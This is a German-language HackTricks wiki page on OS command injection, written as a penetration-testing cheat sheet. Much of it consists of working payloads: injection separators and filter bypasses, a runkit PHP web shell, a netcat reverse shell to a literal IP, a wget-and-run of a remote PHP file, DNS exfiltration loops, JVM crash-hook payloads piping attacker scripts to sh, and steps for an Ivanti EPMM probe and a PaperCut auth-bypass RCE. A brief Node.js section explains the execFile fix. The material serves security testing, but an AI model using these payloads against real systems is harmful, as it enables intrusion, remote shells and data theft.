Command Injection

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks

Was ist command Injection?

Eine command injection ermöglicht die Ausführung beliebiger Betriebssystembefehle durch einen Angreifer auf dem Server, der eine Anwendung hostet. Infolgedessen kann die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle erlaubt dem Angreifer typischerweise, unautorisierten Zugriff oder Kontrolle über die Umgebung der Anwendung und das zugrunde liegende System zu erlangen.

Kontext

Je nachdem, wo deine Eingabe injiziert wird, musst du möglicherweise den zitierten Kontext beenden (mit " oder '), bevor du die Befehle ausführst.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

PHP-Regel-Engines mit aktiviertem runkit

Einige Anwendungen implementieren admin-exklusive „Regel-Engines“, indem sie vom Angreifer bereitgestelltes PHP ausführen. Wenn die Umgebung die runkit-Erweiterung aktiviert hat, kann ein Angreifer Funktionen zur Laufzeit neu definieren oder injizieren und einen rein logikbasierten Regel-Editor in full PHP RCE eskalieren.

Indikatoren:

  • Admin UI akzeptiert PHP-ähnliche „Regeln“, die ausgewertet werden.
  • runkit / runkit7 ist geladen (phpinfo() oder extension_loaded('runkit')).

Missbrauchsbeispiel (eine von den Regeln verwendete Funktion neu definieren, um einen Befehl auszuführen):

<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');

Wenn der Regelinhalt gespeichert und später ausgewertet wird, wird daraus eine persistente RCE-Primitive innerhalb des Webkontexts.

Einschränkung Bypasses

Wenn du versuchst, beliebige Befehle innerhalb einer linux-Maschine auszuführen, solltest du dir diese Bypasses ansehen:

Bypass Linux Restrictions

Beispiele

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Bash arithmetische Auswertung in RewriteMap/CGI-style Skripten

RewriteMap helpers written in bash manchmal push query params into globals und vergleichen sie später in arithmetischen Kontexten ([[ $a -gt $b ]], $((...)), let). Die arithmetische Expansion re-tokenisiert den Inhalt, sodass vom Angreifer kontrollierte Variablennamen oder Array-Referenzen zweimal expandiert werden und ausgeführt werden können.

Beobachtetes Muster in Ivanti EPMM RewriteMap helpers:

  1. Parameter werden auf globale Variablen abgebildet (stgStartTime, htheValue).
  2. Spätere Überprüfung:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. Sende st=theValue, sodass gStartTime auf den String theValue zeigt.
  2. Sende h=gPath['sleep 5'], sodass theValue einen Array-Index enthält; während der arithmetischen Prüfung wird sleep 5 ausgeführt (durch ein echtes payload ersetzen).

Probe (~5s Verzögerung, dann 404, wenn anfällig):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

Hinweise:

  • Suche nach demselben Helper unter anderen Präfixen (z. B. /mifs/c/aftstore/fob/).
  • Arithmetische Kontexte behandeln unbekannte Tokens als Variablen-/Array-Bezeichner, daher umgeht das einfache Metazeichen-Filter.

Parameter

Hier die Top-25-Parameter, die anfällig für code injection und ähnliche RCE-Schwachstellen sein könnten (von link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Zeitbasierte Datenexfiltration

Daten extrahieren: Zeichen für Zeichen

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Basierend auf dem Tool https://github.com/HoLyVieR/dnsbin, das auch unter dnsbin.zhack.ca gehostet ist.

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Online-Tools, um DNS based data exfiltration zu überprüfen:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Beim Überprüfen von JavaScript/TypeScript-Backends stößt man häufig auf die Node.js child_process-API.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() startet eine shell (/bin/sh -c), daher führt jedes Zeichen, das für die shell eine Sonderbedeutung hat (back-ticks, ;, &&, |, $(), …), zu command injection, wenn Benutzereingaben in den String verkettet werden.

Abhilfe: Verwende execFile() (oder spawn() ohne die shell-Option) und übergebe jedes Argument als separates Array-Element, damit keine shell beteiligt ist:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).

Argument-/Option-Injektion durch führenden Bindestrich (argv, no shell metacharacters)

Nicht alle Injektionen benötigen shell metacharacters. Wenn die Anwendung unzuverlässige Strings als Argumente an ein System-Utility übergibt (selbst bei Verwendung von execve/execFile und ohne Shell), werden viele Programme weiterhin jedes Argument, das mit - oder -- beginnt, als Option interpretieren. Das erlaubt einem Angreifer, Modi umzuschalten, Ausgabepfade zu ändern oder gefährliches Verhalten auszulösen, ohne jemals in eine Shell zu gelangen.

Typische Stellen, an denen das auftritt:

  • Eingebettete Web-UIs/CGI-Handler, die Befehle wie ping <user>, tcpdump -i <iface> -w <file>, curl <url> usw. zusammensetzen.
  • Zentralisierte CGI-Router (z. B. /cgi-bin/<something>.cgi mit einem Selector-Parameter wie topicurl=<handler>), bei denen mehrere Handler denselben schwachen Validator wiederverwenden.

Was man versuchen sollte:

  • Werte liefern, die mit -/-- beginnen, damit sie vom nachgelagerten Tool als Flags konsumiert werden.
  • Flags missbrauchen, die Verhalten ändern oder Dateien schreiben, zum Beispiel:
    • ping: -f/-c 100000 um das Gerät zu stressen (DoS)
    • curl: -o /tmp/x um beliebige Pfade zu schreiben, -K <url> um attacker-controlled config zu laden
    • tcpdump: -G 1 -W 1 -z /path/script.sh um nach Rotation Ausführung in unsicheren Wrappers zu erreichen
  • Wenn das Programm -- end-of-options unterstützt, versuchen naive Mitigations zu umgehen, die -- an der falschen Stelle voranstellen.

Generische PoC-Formen gegen zentralisierte CGI-Dispatcher:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM-Diagnose-Callbacks für garantierte Ausführung

Jede Primitive, die es ermöglicht, JVM-Kommandozeilenargumente zu injizieren (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) lässt sich in ein zuverlässiges RCE verwandeln, ohne den application bytecode zu verändern:

  1. Erzwinge einen deterministischen Absturz durch Verkleinerung von metaspace oder heap: -XX:MaxMetaspaceSize=16m (oder ein kleines -Xmx). Das garantiert einen OutOfMemoryError selbst während des frühen Bootstraps.
  2. Hänge einen Error-Hook an: -XX:OnOutOfMemoryError="<cmd>" oder -XX:OnError="<cmd>" führt einen beliebigen OS-Befehl aus, wann immer die JVM abstürzt.
  3. Optional -XX:+CrashOnOutOfMemoryError hinzufügen, um Wiederherstellungsversuche zu vermeiden und das payload einmalig zu halten.

Beispiel-Payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Weil diese Diagnostics vom JVM selbst geparst werden, sind keine shell metacharacters erforderlich, und der Befehl läuft mit demselben Integritätslevel wie der Launcher. Desktop IPC bugs, die vom Benutzer gelieferte JVM flags weiterreichen (siehe Localhost WebSocket abuse), führen daher direkt zu OS command execution.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • Anfällige NG/MF-Builds (z. B. 22.0.5 Build 63914) exponieren /app?service=page/SetupCompleted; wenn man diese Seite im Browser aufruft und auf Login klickt, wird ohne Anmeldeinformationen eine gültige JSESSIONID zurückgegeben (authentication bypass in the setup flow).
  • In Options → Config Editor print-and-device.script.enabled=Y und print.script.sandboxed=N setzen, um printer scripting zu aktivieren und die Sandbox zu deaktivieren.
  • Im Drucker-Tab Scripting das Script aktivieren und printJobHook definiert lassen, um Validierungsfehler zu vermeiden; die payload jedoch außerhalb der Funktion platzieren, damit sie sofort ausgeführt wird, wenn du auf Apply klickst (kein Druckauftrag erforderlich):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • Tausche den callback gegen eine reverse shell; wenn die UI/PoC pipes/redirects nicht verarbeiten kann, stage ein payload mit einem Befehl und exec es mit einer zweiten Anfrage.
  • Horizon3’s CVE-2023-27350.py automatisiert den auth bypass, config flips, command execution und rollback — führe es durch einen upstream proxy (z. B. proxychains → Squid) aus, wenn der Service nur intern erreichbar ist.

Brute-Force Detection List

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Referenzen

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks